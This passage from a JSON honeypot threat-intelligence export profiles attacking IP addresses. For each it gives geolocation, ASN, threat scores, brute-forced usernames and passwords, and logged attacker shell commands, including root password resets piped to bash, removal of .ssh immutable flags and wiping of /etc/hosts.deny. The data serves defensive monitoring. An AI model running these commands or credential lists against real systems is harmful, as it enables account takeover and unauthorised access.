      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Bernardo do Campo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:16:54.356000+00:00",
        "last_seen_30d": "2026-03-15T16:37:25.390000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 214,
        "Suricata": 44
      }
    },
    "172.174.109.244": {
      "attack_count": 193,
      "first_seen": "2026-03-21T02:17:20.607Z",
      "last_seen": "2026-03-21T07:32:53.757Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "1234567",
        "12345678",
        "1234567890",
        "1234qwer",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "4rfv$RFV",
        "654321",
        "P@ssw0rd",
        "abc123",
        "admin",
        "admin123"
      ],
      "commands_executed": [
        "ls -la /"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 316,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:53:01.810000+00:00",
        "last_seen_30d": "2026-03-21T07:34:00.969000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 123
      }
    },
    "211.213.96.171": {
      "attack_count": 191,
      "first_seen": "2026-03-04T12:31:31.912Z",
      "last_seen": "2026-03-04T13:01:56.538Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1012",
        "123asd,./",
        "Aa135246",
        "Bingo@1993",
        "P@ssw0rd112233",
        "Password@1234!",
        "ab123456",
        "admin1",
        "qwert123321",
        "study",
        "testtesttest"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BVgXvnl0rHxl\"|chpasswd|bash",
        "echo \"root:S76udaBLrNXA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Bupyeong-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:31:31.912000+00:00",
        "last_seen_30d": "2026-03-04T13:02:58.798000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "135.181.91.174": {
      "attack_count": 188,
      "first_seen": "2026-03-21T22:38:53.474Z",
      "last_seen": "2026-03-21T22:56:59.468Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "arthur",
        "kipt",
        "alexis",
        "ashok",
        "gestion",
        "ociispth",
        "otrs",
        "socks",
        "squid",
        "zsolt"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "Squid123",
        "ashok1234",
        "ociispth123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nSjC6OOMVbStc\\nSjC6OOMVbStc\\n\"|passwd",
        "echo \"123\\nRFdm2rvEvdfc\\nRFdm2rvEvdfc\\n\"|passwd",
        "echo -e \"12345678\\nSjC6OOMVbStc\\nSjC6OOMVbStc\"|passwd|bash",
        "echo -e \"123\\nRFdm2rvEvdfc\\nRFdm2rvEvdfc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:38:53.474000+00:00",
        "last_seen_30d": "2026-03-21T22:58:05.077000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "31.130.206.122": {
      "attack_count": 188,
      "first_seen": "2026-03-14T08:58:03.343Z",
      "last_seen": "2026-03-14T09:15:03.223Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "gianluca",
        "install",
        "aman",
        "arkserver",
        "deploy",
        "go",
        "joao",
        "mqtt",
        "root",
        "syncuser"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "Install123!",
        "Syncuser123",
        "amanpass",
        "asdf123",
        "david123",
        "mqtt1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nSIbJWPdaWZD6\\nSIbJWPdaWZD6\\n\"|passwd",
        "echo \"Install123!\\n9INOK76oaw55\\n9INOK76oaw55\\n\"|passwd",
        "echo -e \"123456\\nSIbJWPdaWZD6\\nSIbJWPdaWZD6\"|passwd|bash",
        "echo -e \"Install123!\\n9INOK76oaw55\\n9INOK76oaw55\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": null,
      "asn": 56740,
      "as_org": "DataHata Ltd",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T08:58:03.343000+00:00",
        "last_seen_30d": "2026-03-14T09:16:10.288000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "132.145.125.232": {
      "attack_count": 181,
      "first_seen": "2026-03-03T10:31:08.965Z",
      "last_seen": "2026-03-03T11:14:58.059Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456aA.",
        "22222222",
        "Bingo@1993",
        "Console1",
        "Nethesis,1234",
        "Zr123456@",
        "lucas",
        "water123",
        "yh@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Ju7NpH4KgYIR\"|chpasswd|bash",
        "echo \"root:vxf7RqlDj2wV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Inzai",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:31:08.965000+00:00",
        "last_seen_30d": "2026-03-03T11:15:59.161000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 181,
        "Suricata": 32
      }
    },
    "118.193.39.127": {
      "attack_count": 168,
      "first_seen": "2026-03-28T16:16:10.817Z",
      "last_seen": "2026-03-28T17:50:12.911Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123123qwe",
        "123456a??",
        "1Qaz2Wsx!@#",
        "1qw2@WQ!",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd*1234",
        "Administrator$1",
        "Brasil_123",
        "Cl123456.",
        "Data@123",
        "Testing@123",
        "a1l2e3x4",
        "cocacola12",
        "czj123456",
        "ganso@2026",
        "masahiro",
        "qaqaqa",
        "qwaszx!@",
        "qwert678"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:agM9543oL7tO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:16:10.817000+00:00",
        "last_seen_30d": "2026-03-28T17:51:16.758000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 57
      }
    },
    "200.24.69.113": {
      "attack_count": 168,
      "first_seen": "2026-03-27T01:21:05.069Z",
      "last_seen": "2026-03-27T03:03:55.460Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123Qwer123",
        "123abc.",
        "1@3$5^",
        "1qaz0plm",
        "3245gs5662d34",
        "345gs5662d34",
        "Cc123456.",
        "Kennwort1",
        "P@$$w0rd12345",
        "Qq123456.",
        "Tz@123456",
        "Yi123456",
        "avalon",
        "calvin1",
        "gasoline",
        "halifax",
        "mineral",
        "pAssw0rd",
        "pass.12345678",
        "redhat@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YZdnpzao8zMm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "\u00c1guas de Santa B\u00e1rbara",
      "asn": 61768,
      "as_org": "NET INFINITO INTERNET FIBRA OPTICA",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T01:21:05.069000+00:00",
        "last_seen_30d": "2026-03-27T03:05:00.517000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "38.114.121.110": {
      "attack_count": 168,
      "first_seen": "2026-03-30T15:14:51.283Z",
      "last_seen": "2026-03-30T16:15:09.883Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qwe!@#QWE!",
        "3245gs5662d34",
        "345gs5662d34",
        "3e2w1q",
        "Abcd1234%^",
        "P455w0rd!",
        "Parola",
        "Passw0rd!g",
        "Q112233!",
        "Qwerty.2025",
        "Windows8",
        "admin147258",
        "caonima!@#",
        "casablanca",
        "fish",
        "flzx3qcysyhl9t",
        "kambing123",
        "mario123",
        "nessus",
        "root@123.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gFj5hOd9pWJj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63023,
      "as_org": "GTHost",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T15:14:51.283000+00:00",
        "last_seen_30d": "2026-03-30T16:16:12.213000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "57.128.239.139": {
      "attack_count": 168,
      "first_seen": "2026-03-27T05:56:38.567Z",
      "last_seen": "2026-03-27T07:28:07.043Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "0l0ctyQh243O63uD",
        "12qwasyx",
        "1qaz@2026",
        "1qazxcvbnm,",
        "3245gs5662d34",
        "345gs5662d34",
        "4rfvBGT%",
        "Asdf!@#123",
        "Cloud@123",
        "Mexico2025",
        "alias",
        "aq1sw2de3",
        "cacapipi",
        "ccccc",
        "kontolkuda",
        "leslie",
        "mercedes",
        "power",
        "redhat123",
        "screencast"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:t8qxlpeMD85h\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 31.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T05:56:38.567000+00:00",
        "last_seen_30d": "2026-03-27T07:29:15.197000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "159.65.118.204": {
      "attack_count": 156,
      "first_seen": "2026-03-16T02:34:16.034Z",
      "last_seen": "2026-03-16T03:00:33.624Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "jenkins",
        "docker",
        "ec2-user",
        "ubuntu",
        "centos",
        "debian",
        "fedora",
        "pi"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "!root",
        "1qaz2wsx",
        "1qaz@WSX",
        "Admin2026!",
        "P@ssw0rd2026",
        "P@ssw0rd2026!",
        "Qwerty2026!",
        "admin2026",
        "amazon",
        "aws2026!",
        "centos",
        "centos2026",
        "debian",
        "debian2026",
        "docker123",
        "docker2026",
        "ec2-user",
        "fedora",
        "jenkins"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T02:34:16.034000+00:00",
        "last_seen_30d": "2026-03-16T03:10:35.706000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 68
      }
    },
    "13.71.92.229": {
      "attack_count": 141,
      "first_seen": "2026-03-03T18:12:04.643Z",
      "last_seen": "2026-03-03T18:40:32.202Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123$qweR",
        "1qazxsw2",
        "4815162342",
        "66666",
        "Admin2025!",
        "Bingo@1993",
        "Debian@1",
        "QQ@111111",
        "qweasdzxc",
        "qwert12345",
        "sangoma"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:e6u4J2yu8tAR\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:12:04.643000+00:00",
        "last_seen_30d": "2026-03-03T18:41:40.412000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 141,
        "Suricata": 36
      }
    },
    "103.146.23.145": {
      "attack_count": 123,
      "first_seen": "2026-03-15T20:17:08.108Z",
      "last_seen": "2026-03-15T20:42:15.937Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "David",
        "ankit",
        "bounce",
        "csserver",
        "mcserver",
        "pilot",
        "test101",
        "vscode"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "Csserver123",
        "Mcserver123",
        "Test101123",
        "Testing123",
        "Vscode123!",
        "ankit123",
        "bounce1234",
        "dodol123",
        "qawsedrf"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:MnwE2fuZk6Vr\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:17:08.108000+00:00",
        "last_seen_30d": "2026-03-15T20:43:25.157000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 31
      }
    },
    "118.193.39.2": {
      "attack_count": 119,
      "first_seen": "2026-03-23T21:08:31.125Z",
      "last_seen": "2026-03-23T21:31:08.910Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "trading",
        "345gs5662d34",
        "alfred",
        "arun",
        "bkp",
        "casa",
        "evan",
        "help",
        "linuxadmin",
        "root",
        "sabrina"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa121314",
        "arun123",
        "bkppass",
        "help",
        "password",
        "sabrina123",
